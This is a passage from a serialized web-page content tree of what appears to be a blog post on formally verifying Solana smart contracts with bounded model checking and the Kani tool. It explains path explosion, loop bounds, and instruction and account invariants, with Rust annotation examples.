ag":83,"props":19536,"children":19537},{"style":143},[19538],{"type":29,"value":19154},{"type":24,"tag":83,"props":19540,"children":19541},{"style":245},[19542],{"type":29,"value":18875},{"type":24,"tag":83,"props":19544,"children":19545},{"style":107},[19546],{"type":29,"value":2905},{"type":24,"tag":83,"props":19548,"children":19549},{"class":85,"line":1713},[19550,19554,19558,19562,19566,19570],{"type":24,"tag":83,"props":19551,"children":19552},{"style":107},[19553],{"type":29,"value":19396},{"type":24,"tag":83,"props":19555,"children":19556},{"style":143},[19557],{"type":29,"value":8320},{"type":24,"tag":83,"props":19559,"children":19560},{"style":107},[19561],{"type":29,"value":4259},{"type":24,"tag":83,"props":19563,"children":19564},{"style":143},[19565],{"type":29,"value":4126},{"type":24,"tag":83,"props":19567,"children":19568},{"style":245},[19569],{"type":29,"value":295},{"type":24,"tag":83,"props":19571,"children":19572},{"style":107},[19573],{"type":29,"value":2905},{"type":24,"tag":83,"props":19575,"children":19576},{"class":85,"line":1730},[19577],{"type":24,"tag":83,"props":19578,"children":19579},{"emptyLinePlaceholder":16},[19580],{"type":29,"value":3422},{"type":24,"tag":83,"props":19582,"children":19583},{"class":85,"line":1770},[19584],{"type":24,"tag":83,"props":19585,"children":19586},{"style":2735},[19587],{"type":29,"value":19431},{"type":24,"tag":83,"props":19589,"children":19590},{"class":85,"line":1778},[19591,19595,19599,19603],{"type":24,"tag":83,"props":19592,"children":19593},{"style":107},[19594],{"type":29,"value":19439},{"type":24,"tag":83,"props":19596,"children":19597},{"style":143},[19598],{"type":29,"value":15427},{"type":24,"tag":83,"props":19600,"children":19601},{"style":245},[19602],{"type":29,"value":18993},{"type":24,"tag":83,"props":19604,"children":19605},{"style":107},[19606],{"type":29,"value":19452},{"type":24,"tag":83,"props":19608,"children":19609},{"class":85,"line":1803},[19610,19614,19618],{"type":24,"tag":83,"props":19611,"children":19612},{"style":101},[19613],{"type":29,"value":19460},{"type":24,"tag":83,"props":19615,"children":19616},{"style":107},[19617],{"type":29,"value":19465},{"type":24,"tag":83,"props":19619,"children":19620},{"style":2735},[19621],{"type":29,"value":19470},{"type":24,"tag":25,"props":19623,"children":19624},{},[19625,19627,19633,19635,19640],{"type":29,"value":19626},"Both of these cases return ",{"type":24,"tag":32,"props":19628,"children":19630},{"className":19629},[],[19631],{"type":29,"value":19632},"unsat",{"type":29,"value":19634}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":24,"tag":2655,"props":19636,"children":19637},{},[19638],{"type":29,"value":19639},"correct",{"type":29,"value":19641}," according to this property.",{"type":24,"tag":1818,"props":19643,"children":19645},{"id":19644},"loop-bounds-path-explosion",[19646],{"type":29,"value":19647},"Loop bounds & path explosion",{"type":24,"tag":25,"props":19649,"children":19650},{},[19651,19653,19658,19660,19665],{"type":29,"value":19652},"As you may have noticed, BMC requires us to take ",{"type":24,"tag":2655,"props":19654,"children":19655},{},[19656],{"type":29,"value":19657},"every",{"type":29,"value":19659}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":24,"tag":2655,"props":19661,"children":19662},{},[19663],{"type":29,"value":19664},"infinite",{"type":29,"value":19666}," number of paths because the loop branches backward. This might take a while...",{"type":24,"tag":25,"props":19668,"children":19669},{},[19670],{"type":29,"value":19671},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":24,"tag":25,"props":19673,"children":19674},{},[19675],{"type":29,"value":19676},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":24,"tag":25,"props":19678,"children":19679},{},[19680],{"type":29,"value":19681},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":24,"tag":1818,"props":19683,"children":19685},{"id":19684},"kani-model-checker",[19686],{"type":29,"value":19687},"Kani Model Checker",{"type":24,"tag":25,"props":19689,"children":19690},{},[19691,19693,19698],{"type":29,"value":19692},"For our research with formally verifying Solana programs, we are using the ",{"type":24,"tag":2033,"props":19694,"children":19696},{"href":18585,"rel":19695},[2037],[19697],{"type":29,"value":18589},{"type":29,"value":19699},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":24,"tag":25,"props":19701,"children":19702},{},[19703,19705,19710,19712,19718,19719,19725,19727,19733],{"type":29,"value":19704},"Kani allows you to write ",{"type":24,"tag":2655,"props":19706,"children":19707},{},[19708],{"type":29,"value":19709},"proof harnesses",{"type":29,"value":19711}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":24,"tag":32,"props":19713,"children":19715},{"className":19714},[],[19716],{"type":29,"value":19717},"assume",{"type":29,"value":2287},{"type":24,"tag":32,"props":19720,"children":19722},{"className":19721},[],[19723],{"type":29,"value":19724},"assert",{"type":29,"value":19726}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":24,"tag":32,"props":19728,"children":19730},{"className":19729},[],[19731],{"type":29,"value":19732},"cargo kani",{"type":29,"value":19734}," tool (which compiles your proof harness and runs BMC).",{"type":24,"tag":51,"props":19736,"children":19738},{"id":19737},"specification-how-can-we-describe-what-we-want-our-program-to-do",[19739,19741,19745],{"type":29,"value":19740},"Specification: How can we describe what we ",{"type":24,"tag":2655,"props":19742,"children":19743},{},[19744],{"type":29,"value":18659},{"type":29,"value":18661},{"type":24,"tag":25,"props":19747,"children":19748},{},[19749],{"type":24,"tag":2655,"props":19750,"children":19751},{},[19752],{"type":24,"tag":2040,"props":19753,"children":19754},{},[19755],{"type":29,"value":19756},"And what even do we want it to do?",{"type":24,"tag":25,"props":19758,"children":19759},{},[19760,19762,19767],{"type":29,"value":19761},"A fundamental challenge with any formal verification framework is ",{"type":24,"tag":2655,"props":19763,"children":19764},{},[19765],{"type":29,"value":19766},"specifying",{"type":29,"value":19768}," what the \"correct\" behavior should be.",{"type":24,"tag":25,"props":19770,"children":19771},{},[19772],{"type":29,"value":19773},"In natural language, we can describe a few good properties for example Solana programs:",{"type":24,"tag":16422,"props":19775,"children":19776},{},[19777,19789,19801],{"type":24,"tag":67,"props":19778,"children":19779},{},[19780,19782,19787],{"type":29,"value":19781},"\"It should not be possible to ",{"type":24,"tag":2040,"props":19783,"children":19784},{},[19785],{"type":29,"value":19786},"steal money",{"type":29,"value":19788}," via a swap program\"",{"type":24,"tag":67,"props":19790,"children":19791},{},[19792,19794,19799],{"type":29,"value":19793},"\"A multisig should never get into a state where you ",{"type":24,"tag":2040,"props":19795,"children":19796},{},[19797],{"type":29,"value":19798},"can't sign anything",{"type":29,"value":19800},"\"",{"type":24,"tag":67,"props":19802,"children":19803},{},[19804],{"type":29,"value":19805},"\"User funds in a staking protocol \"",{"type":24,"tag":25,"props":19807,"children":19808},{},[19809,19811,19821,19823,19828],{"type":29,"value":19810},"These are types of properties you can tell your ",{"type":24,"tag":2033,"props":19812,"children":19815},{"href":19813,"rel":19814},"https://osec.io/",[2037],[19816],{"type":24,"tag":2655,"props":19817,"children":19818},{},[19819],{"type":29,"value":19820},"human auditors",{"type":29,"value":19822}," but these English phrases are not particularly useful for ",{"type":24,"tag":2655,"props":19824,"children":19825},{},[19826],{"type":29,"value":19827},"automated verification techniques",{"type":29,"value":19829}," (at least until our AI overlords surpass human intelligence).",{"type":24,"tag":25,"props":19831,"children":19832},{},[19833,19835,19840,19842,19847],{"type":29,"value":19834},"Instead, we need to be able to specify ",{"type":24,"tag":2655,"props":19836,"children":19837},{},[19838],{"type":29,"value":19839},"in code",{"type":29,"value":19841}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":24,"tag":32,"props":19843,"children":19845},{"className":19844},[],[19846],{"type":29,"value":19724},{"type":29,"value":19848}," statement.",{"type":24,"tag":1818,"props":19850,"children":19852},{"id":19851},"solana-invariants",[19853],{"type":29,"value":19854},"Solana Invariants",{"type":24,"tag":25,"props":19856,"children":19857},{},[19858,19860,19865,19866,19871],{"type":29,"value":19859},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":24,"tag":2040,"props":19861,"children":19862},{},[19863],{"type":29,"value":19864},"instruction invariants",{"type":29,"value":2287},{"type":24,"tag":2040,"props":19867,"children":19868},{},[19869],{"type":29,"value":19870},"account invariants",{"type":29,"value":161},{"type":24,"tag":18631,"props":19873,"children":19875},{"id":19874},"instruction-invariant",[19876],{"type":29,"value":19877},"Instruction Invariant",{"type":24,"tag":25,"props":19879,"children":19880},{},[19881,19883,19888,19890,19896,19897,19903],{"type":29,"value":19882},"An ",{"type":24,"tag":2040,"props":19884,"children":19885},{},[19886],{"type":29,"value":19887},"instruction invariant",{"type":29,"value":19889}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":24,"tag":32,"props":19891,"children":19893},{"className":19892},[],[19894],{"type":29,"value":19895},"succeeds_if",{"type":29,"value":12879},{"type":24,"tag":32,"props":19898,"children":19900},{"className":19899},[],[19901],{"type":29,"value":19902},"errors_if",{"type":29,"value":19904}," macro annotations on the instruction handler.",{"type":24,"tag":25,"props":19906,"children":19907},{},[19908],{"type":29,"value":19909},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":24,"tag":25,"props":19911,"children":19912},{},[19913,19915,19921,19923,19928],{"type":29,"value":19914},"For example, say we have a ",{"type":24,"tag":32,"props":19916,"children":19918},{"className":19917},[],[19919],{"type":29,"value":19920},"Withdraw",{"type":29,"value":19922}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":24,"tag":2655,"props":19924,"children":19925},{},[19926],{"type":29,"value":19927},"more",{"type":29,"value":19929}," tokens than their current balance.",{"type":24,"tag":25,"props":19931,"children":19932},{},[19933,19935,19940],{"type":29,"value":19934},"Using our tool, you could specify the following ",{"type":24,"tag":32,"props":19936,"children":19938},{"className":19937},[],[19939],{"type":29,"value":19902},{"type":29,"value":19941}," property on your instruction handler:",{"type":24,"tag":73,"props":19943,"children":19945},{"code":19944,"language":2724,"meta":7,"className":2725,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[19946],{"type":24,"tag":32,"props":19947,"children":19948},{"__ignoreMap":7},[19949,19957,19992,20000,20073,20081],{"type":24,"tag":83,"props":19950,"children":19951},{"class":85,"line":86},[19952],{"type":24,"tag":83,"props":19953,"children":19954},{"style":107},[19955],{"type":29,"value":19956},"#[errors_if(\n",{"type":24,"tag":83,"props":19958,"children":19959},{"class":85,"line":113},[19960,19965,19969,19974,19978,19983,19987],{"type":24,"tag":83,"props":19961,"children":19962},{"style":107},[19963],{"type":29,"value":19964},"    ctx",{"type":24,"tag":83,"props":19966,"children":19967},{"style":143},[19968],{"type":29,"value":161},{"type":24,"tag":83,"props":19970,"children":19971},{"style":107},[19972],{"type":29,"value":19973},"user",{"type":24,"tag":83,"props":19975,"children":19976},{"style":143},[19977],{"type":29,"value":161},{"type":24,"tag":83,"props":19979,"children":19980},{"style":107},[19981],{"type":29,"value":19982},"balance ",{"type":24,"tag":83,"props":19984,"children":19985},{"style":143},[19986],{"type":29,"value":5552},{"type":24,"tag":83,"props":19988,"children":19989},{"style":107},[19990],{"type":29,"value":19991}," amount\n",{"type":24,"tag":83,"props":19993,"children":19994},{"class":85,"line":128},[19995],{"type":24,"tag":83,"props":19996,"children":19997},{"style":107},[19998],{"type":29,"value":19999},")]\n",{"type":24,"tag":83,"props":20001,"children":20002},{"class":85,"line":183},[20003,20008,20013,20017,20022,20026,20031,20035,20039,20043,20048,20052,20056,20060,20064,20068],{"type":24,"tag":83,"props":20004,"children":20005},{"style":90},[20006],{"type":29,"value":20007},"fn",{"type":24,"tag":83,"props":20009,"children":20010},{"style":101},[20011],{"type":29,"value":20012}," withdraw",{"type":24,"tag":83,"props":20014,"children":20015},{"style":107},[20016],{"type":29,"value":558},{"type":24,"tag":83,"props":20018,"children":20019},{"style":137},[20020],{"type":29,"value":20021},"ctx",{"type":24,"tag":83,"props":20023,"children":20024},{"style":143},[20025],{"type":29,"value":195},{"type":24,"tag":83,"props":20027,"children":20028},{"style":3163},[20029],{"type":29,"value":20030}," Context",{"type":24,"tag":83,"props":20032,"children":20033},{"style":107},[20034],{"type":29,"value":5552},{"type":24,"tag":83,"props":20036,"children":20037},{"style":3163},[20038],{"type":29,"value":19920},{"type":24,"tag":83,"props":20040,"children":20041},{"style":107},[20042],{"type":29,"value":6377},{"type":24,"tag":83,"props":20044,"children":20045},{"style":137},[20046],{"type":29,"value":20047},"amount",{"type":24,"tag":83,"props":20049,"children":20050},{"style":143},[20051],{"type":29,"value":195},{"type":24,"tag":83,"props":20053,"children":20054},{"style":3163},[20055],{"type":29,"value":5606},{"type":24,"tag":83,"props":20057,"children":20058},{"style":107},[20059],{"type":29,"value":633},{"type":24,"tag":83,"props":20061,"children":20062},{"style":143},[20063],{"type":29,"value":13502},{"type":24,"tag":83,"props":20065,"children":20066},{"style":3163},[20067],{"type":29,"value":13507},{"type":24,"tag":83,"props":20069,"children":20070},{"style":107},[20071],{"type":29,"value":20072},"\u003C()> {\n",{"type":24,"tag":83,"props":20074,"children":20075},{"class":85,"line":203},[20076],{"type":24,"tag":83,"props":20077,"children":20078},{"style":143},[20079],{"type":29,"value":20080},"    ...\n",{"type":24,"tag":83,"props":20082,"children":20083},{"class":85,"line":212},[20084],{"type":24,"tag":83,"props":20085,"children":20086},{"style":107},[20087],{"type":29,"value":464},{"type":24,"tag":2677,"props":20089,"children":20090},{},[20091],{"type":24,"tag":25,"props":20092,"children":20093},{},[20094,20095,20100,20102,20107,20109,20114],{"type":29,"value":16348},{"type":24,"tag":32,"props":20096,"children":20098},{"className":20097},[],[20099],{"type":29,"value":19902},{"type":29,"value":20101}," expression specifies ",{"type":24,"tag":2655,"props":20103,"children":20104},{},[20105],{"type":29,"value":20106},"succifient",{"type":29,"value":20108}," but not ",{"type":24,"tag":2655,"props":20110,"children":20111},{},[20112],{"type":29,"value":20113},"necessary",{"type":29,"value":20115}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":24,"tag":18531,"props":20117,"children":20118},{},[],{"type":24,"tag":25,"props":20120,"children":20121},{},[20122,20124,20129],{"type":29,"value":20123},"Another example is that for ",{"type":24,"tag":2655,"props":20125,"children":20126},{},[20127],{"type":29,"value":20128},"crank",{"type":29,"value":20130}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":24,"tag":73,"props":20132,"children":20134},{"code":20133,"language":2724,"meta":7,"className":2725,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[20135],{"type":24,"tag":32,"props":20136,"children":20137},{"__ignoreMap":7},[20138,20146,20200,20207],{"type":24,"tag":83,"props":20139,"children":20140},{"class":85,"line":86},[20141],{"type":24,"tag":83,"props":20142,"children":20143},{"style":107},[20144],{"type":29,"value":20145},"#[succeeds_if(true)]\n",{"type":24,"tag":83,"props":20147,"children":20148},{"class":85,"line":113},[20149,20153,20158,20162,20166,20170,20174,20178,20183,20188,20192,20196],{"type":24,"tag":83,"props":20150,"children":20151},{"style":90},[20152],{"type":29,"value":20007},{"type":24,"tag":83,"props":20154,"children":20155},{"style":101},[20156],{"type":29,"value":20157}," my_crank",{"type":24,"tag":83,"props":20159,"children":20160},{"style":107},[20161],{"type":29,"value":558},{"type":24,"tag":83,"props":20163,"children":20164},{"style":137},[20165],{"type":29,"value":20021},{"type":24,"tag":83,"props":20167,"children":20168},{"style":143},[20169],{"type":29,"value":195},{"type":24,"tag":83,"props":20171,"children":20172},{"style":3163},[20173],{"type":29,"value":20030},{"type":24,"tag":83,"props":20175,"children":20176},{"style":107},[20177],{"type":29,"value":5552},{"type":24,"tag":83,"props":20179,"children":20180},{"style":3163},[20181],{"type":29,"value":20182},"Crank",{"type":24,"tag":83,"props":20184,"children":20185},{"style":107},[20186],{"type":29,"value":20187},">) ",{"type":24,"tag":83,"props":20189,"children":20190},{"style":143},[20191],{"type":29,"value":13502},{"type":24,"tag":83,"props":20193,"children":20194},{"style":3163},[20195],{"type":29,"value":13507},{"type":24,"tag":83,"props":20197,"children":20198},{"style":107},[20199],{"type":29,"value":20072},{"type":24,"tag":83,"props":20201,"children":20202},{"class":85,"line":128},[20203],{"type":24,"tag":83,"props":20204,"children":20205},{"style":143},[20206],{"type":29,"value":20080},{"type":24,"tag":83,"props":20208,"children":20209},{"class":85,"line":183},[20210],{"type":24,"tag":83,"props":20211,"children":20212},{"style":107},[20213],{"type":29,"value":464},{"type":24,"tag":25,"props":20215,"children":20216},{},[20217,20219,20223,20225,20231],{"type":29,"value":20218},"With this invariant, you could prove that the function ",{"type":24,"tag":2655,"props":20220,"children":20221},{},[20222],{"type":29,"value":12839},{"type":29,"value":20224}," returns ",{"type":24,"tag":32,"props":20226,"children":20228},{"className":20227},[],[20229],{"type":29,"value":20230},"Ok",{"type":29,"value":20232},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":24,"tag":18531,"props":20234,"children":20235},{},[],{"type":24,"tag":25,"props":20237,"children":20238},{},[20239,20241,20246,20247,20252,20254,20259,20261,20266,20268,20273],{"type":29,"value":20240},"Note that ",{"type":24,"tag":32,"props":20242,"children":20244},{"className":20243},[],[20245],{"type":29,"value":19895},{"type":29,"value":2287},{"type":24,"tag":32,"props":20248,"children":20250},{"className":20249},[],[20251],{"type":29,"value":19902},{"type":29,"value":20253}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":24,"tag":32,"props":20255,"children":20257},{"className":20256},[],[20258],{"type":29,"value":19895},{"type":29,"value":20260}," is not satisfied and a function may fail even if ",{"type":24,"tag":32,"props":20262,"children":20264},{"className":20263},[],[20265],{"type":29,"value":19902},{"type":29,"value":20267}," is not satisfied. If you want to prove the ",{"type":24,"tag":2655,"props":20269,"children":20270},{},[20271],{"type":29,"value":20272},"exact condition",{"type":29,"value":20274}," required for an instruction to succeed, you could use a form like the following:",{"type":24,"tag":73,"props":20276,"children":20278},{"code":20277,"language":2724,"meta":7,"className":2725,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[20279],{"type":24,"tag":32,"props":20280,"children":20281},{"__ignoreMap":7},[20282,20326,20333,20350,20376,20428,20435],{"type":24,"tag":83,"props":20283,"children":20284},{"class":85,"line":86},[20285,20289,20294,20298,20302,20306,20310,20314,20318,20322],{"type":24,"tag":83,"props":20286,"children":20287},{"style":90},[20288],{"type":29,"value":20007},{"type":24,"tag":83,"props":20290,"children":20291},{"style":101},[20292],{"type":29,"value":20293}," my_invariant",{"type":24,"tag":83,"props":20295,"children":20296},{"style":107},[20297],{"type":29,"value":558},{"type":24,"tag":83,"props":20299,"children":20300},{"style":143},[20301],{"type":29,"value":509},{"type":24,"tag":83,"props":20303,"children":20304},{"style":107},[20305],{"type":29,"value":633},{"type":24,"tag":83,"props":20307,"children":20308},{"style":143},[20309],{"type":29,"value":13502},{"type":24,"tag":83,"props":20311,"children":20312},{"style":3163},[20313],{"type":29,"value":11797},{"type":24,"tag":83,"props":20315,"children":20316},{"style":107},[20317],{"type":29,"value":9333},{"type":24,"tag":83,"props":20319,"children":20320},{"style":143},[20321],{"type":29,"value":509},{"type":24,"tag":83,"props":20323,"children":20324},{"style":107},[20325],{"type":29,"value":9342},{"type":24,"tag":83,"props":20327,"children":20328},{"class":85,"line":113},[20329],{"type":24,"tag":83,"props":20330,"children":20331},{"emptyLinePlaceholder":16},[20332],{"type":29,"value":3422},{"type":24,"tag":83,"props":20334,"children":20335},{"class":85,"line":128},[20336,20341,20345],{"type":24,"tag":83,"props":20337,"children":20338},{"style":107},[20339],{"type":29,"value":20340},"#[succeeds_if(my_invariant(",{"type":24,"tag":83,"props":20342,"children":20343},{"style":143},[20344],{"type":29,"value":509},{"type":24,"tag":83,"props":20346,"children":20347},{"style":107},[20348],{"type":29,"value":20349},"))]\n",{"type":24,"tag":83,"props":20351,"children":20352},{"class":85,"line":183},[20353,20358,20363,20368,20372],{"type":24,"tag":83,"props":20354,"children":20355},{"style":107},[20356],{"type":29,"value":20357},"#[errors_if(",{"type":24,"tag":83,"props":20359,"children":20360},{"style":143},[20361],{"type":29,"value":20362},"!",{"type":24,"tag":83,"props":20364,"children":20365},{"style":107},[20366],{"type":29,"value":20367},"my_invariant(",{"type":24,"tag":83,"props":20369,"children":20370},{"style":143},[20371],{"type":29,"value":509},{"type":24,"tag":83,"props":20373,"children":20374},{"style":107},[20375],{"type":29,"value":20349},{"type":24,"tag":83,"props":20377,"children":20378},{"class":85,"line":203},[20379,20383,20388,20392,20396,20400,20404,20408,20412,20416,20420,20424],{"type":24,"tag":83,"props":20380,"children":20381},{"style":90},[20382],{"type":29,"value":20007},{"type":24,"tag":83,"props":20384,"children":20385},{"style":101},[20386],{"type":29,"value":20387}," my_instruction",{"type":24,"tag":83,"props":20389,"children":20390},{"style":107},[20391],{"type":29,"value":558},{"type":24,"tag":83,"props":20393,"children":20394},{"style":137},[20395],{"type":29,"value":20021},{"type":24,"tag":83,"props":20397,"children":20398},{"style":143},[20399],{"type":29,"value":195},{"type":24,"tag":83,"props":20401,"children":20402},{"style":3163},[20403],{"type":29,"value":20030},{"type":24,"tag":83,"props":20405,"children":20406},{"style":107},[20407],{"type":29,"value":5552},{"type":24,"tag":83,"props":20409,"children":20410},{"style":143},[20411],{"type":29,"value":509},{"type":24,"tag":83,"props":20413,"children":20414},{"style":107},[20415],{"type":29,"value":20187},{"type":24,"tag":83,"props":20417,"children":20418},{"style":143},[20419],{"type":29,"value":13502},{"type":24,"tag":83,"props":20421,"children":20422},{"style":3163},[20423],{"type":29,"value":13507},{"type":24,"tag":83,"props":20425,"children":20426},{"style":107},[20427],{"type":29,"value":20072},{"type":24,"tag":83,"props":20429,"children":20430},{"class":85,"line":212},[20431],{"type":24,"tag":83,"props":20432,"children":20433},{"style":143},[20434],{"type":29,"value":20080},{"type":24,"tag":83,"props":20436,"children":20437},{"class":85,"line":256},[20438],{"type":24,"tag":83,"props":20439,"children":20440},{"style":107},[20441],{"type":29,"value":464},{"type":24,"tag":25,"props":20443,"children":20444},{},[20445],{"type":29,"value":20446},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":24,"tag":18631,"props":20448,"children":20450},{"id":20449},"account-invariants",[20451],{"type":29,"value":20452},"Account Invariants",{"type":24,"tag":25,"props":20454,"children":20455},{},[20456,20458,20463],{"type":29,"value":20457},"The other type of invariant is an ",{"type":24,"tag":2040,"props":20459,"children":20460},{},[20461],{"type":29,"value":20462},"Account Invariant",{"type":29,"value":20464},". This invariant describes some property of an account that should always hold.",{"type":24,"tag":25,"props":20466,"children":20467},{},[20468,20470,20475,20476,20482],{"type":29,"value":20469},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":24,"tag":32,"props":20471,"children":20473},{"className":20472},[],[20474],{"type":29,"value":3468},{"type":29,"value":12879},{"type":24,"tag":32,"props":20477,"children":20479},{"className":20478},[],[20480],{"type":29,"value":20481},"init",{"type":29,"value":2554},{"type":24,"tag":25,"props":20484,"children":20485},{},[20486,20488,20494],{"type":29,"value":20487},"For example, given a mock ",{"type":24,"tag":32,"props":20489,"children":20491},{"className":20490},[],[20492],{"type":29,"value":20493},"UserStatement",{"type":29,"value":20495}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":24,"tag":73,"props":20497,"children":20499},{"code":20498,"language":2724,"meta":7,"className":2725,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[20500],{"type":24,"tag":32,"props":20501,"children":20502},{"__ignoreMap":7},[20503,20511,20519,20553,20560,20576,20602,20626,20650],{"type":24,"tag":83,"props":20504,"children":20505},{"class":85,"line":86},[20506],{"type":24,"tag":83,"props":20507,"children":20508},{"style":107},[20509],{"type":29,"value":20510},"#[account]\n",{"type":24,"tag":83,"props":20512,"children":20513},{"class":85,"line":113},[20514],{"type":24,"tag":83,"props":20515,"children":20516},{"style":107},[20517],{"type":29,"value":20518},"#[invariant(\n",{"type":24,"tag":83,"props":20520,"children":20521},{"class":85,"line":128},[20522,20527,20531,20536,20540,20544,20548],{"type":24,"tag":83,"props":20523,"children":20524},{"style":107},[20525],{"type":29,"value":20526},"    self",{"type":24,"tag":83,"props":20528,"children":20529},{"style":143},[20530],{"type":29,"value":161},{"type":24,"tag":83,"props":20532,"children":20533},{"style":107},[20534],{"type":29,"value":20535},"assets ",{"type":24,"tag":83,"props":20537,"children":20538},{"style":143},[20539],{"type":29,"value":9690},{"type":24,"tag":83,"props":20541,"children":20542},{"style":107},[20543],{"type":29,"value":13542},{"type":24,"tag":83,"props":20545,"children":20546},{"style":143},[20547],{"type":29,"value":161},{"type":24,"tag":83,"props":20549,"children":20550},{"style":107},[20551],{"type":29,"value":20552},"liabilities\n",{"type":24,"tag":83,"props":20554,"children":20555},{"class":85,"line":183},[20556],{"type":24,"tag":83,"props":20557,"children":20558},{"style":107},[20559],{"type":29,"value":19999},{"type":24,"tag":83,"props":20561,"children":20562},{"class":85,"line":203},[20563,20567,20572],{"type":24,"tag":83,"props":20564,"children":20565},{"style":90},[20566],{"type":29,"value":9148},{"type":24,"tag":83,"props":20568,"children":20569},{"style":3163},[20570],{"type":29,"value":20571}," UserStatement",{"type":24,"tag":83,"props":20573,"children":20574},{"style":107},[20575],{"type":29,"value":125},{"type":24,"tag":83,"props":20577,"children":20578},{"class":85,"line":212},[20579,20584,20589,20593,20598],{"type":24,"tag":83,"props":20580,"children":20581},{"style":90},[20582],{"type":29,"value":20583},"    pub",{"type":24,"tag":83,"props":20585,"children":20586},{"style":137},[20587],{"type":29,"value":20588}," owner",{"type":24,"tag":83,"props":20590,"children":20591},{"style":143},[20592],{"type":29,"value":195},{"type":24,"tag":83,"props":20594,"children":20595},{"style":3163},[20596],{"type":29,"value":20597}," Pubkey",{"type":24,"tag":83,"props":20599,"children":20600},{"style":107},[20601],{"type":29,"value":989},{"type":24,"tag":83,"props":20603,"children":20604},{"class":85,"line":256},[20605,20609,20614,20618,20622],{"type":24,"tag":83,"props":20606,"children":20607},{"style":90},[20608],{"type":29,"value":20583},{"type":24,"tag":83,"props":20610,"children":20611},{"style":137},[20612],{"type":29,"value":20613}," assets",{"type":24,"tag":83,"props":20615,"children":20616},{"style":143},[20617],{"type":29,"value":195},{"type":24,"tag":83,"props":20619,"children":20620},{"style":3163},[20621],{"type":29,"value":5606},{"type":24,"tag":83,"props":20623,"children":20624},{"style":107},[20625],{"type":29,"value":989},{"type":24,"tag":83,"props":20627,"children":20628},{"class":85,"line":270},[20629,20633,20638,20642,20646],{"type":24,"tag":83,"props":20630,"children":20631},{"style":90},[20632],{"type":29,"value":20583},{"type":24,"tag":83,"props":20634,"children":20635},{"style":137},[20636],{"type":29,"value":20637}," liabilities",{"type":24,"tag":83,"props":20639,"children":20640},{"style":143},[20641],{"type":29,"value":195},{"type":24,"tag":83,"props":20643,"children":20644},{"style":3163},[20645],{"type":29,"value":5606},{"type":24,"tag":83,"props":20647,"children":20648},{"style":107},[20649],{"type":29,"value":989},{"type":24,"tag":83,"props":20651,"children":20652},{"class":85,"line":302},[20653],{"type":24,"tag":83,"props":20654,"children":20655},{"style":107},[20656],{"type":29,"value":464},{"type":24,"tag":25,"props":20658,"children":20659},{},[20660,20662,20667],{"type":29,"value":20661},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":24,"tag":32,"props":20663,"children":20665},{"className":20664},[],[20666],{"type":29,"value":20493},{"type":29,"value":20668}," is created or modified.",{"type":24,"tag":25,"props":20670,"children":20671},{},[20672,20674,20680],{"type":29,"value":20673},"In another example, we developed the following invariant for the ",{"type":24,"tag":2033,"props":20675,"children":20677},{"href":18562,"rel":20676},[2037],[20678],{"type":29,"value":20679},"Squads Multisig",{"type":29,"value":20681}," wallet account:",{"type":24,"tag":73,"props":20683,"children":20685},{"code":20684,"language":2724,"meta":7,"className":2725,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the 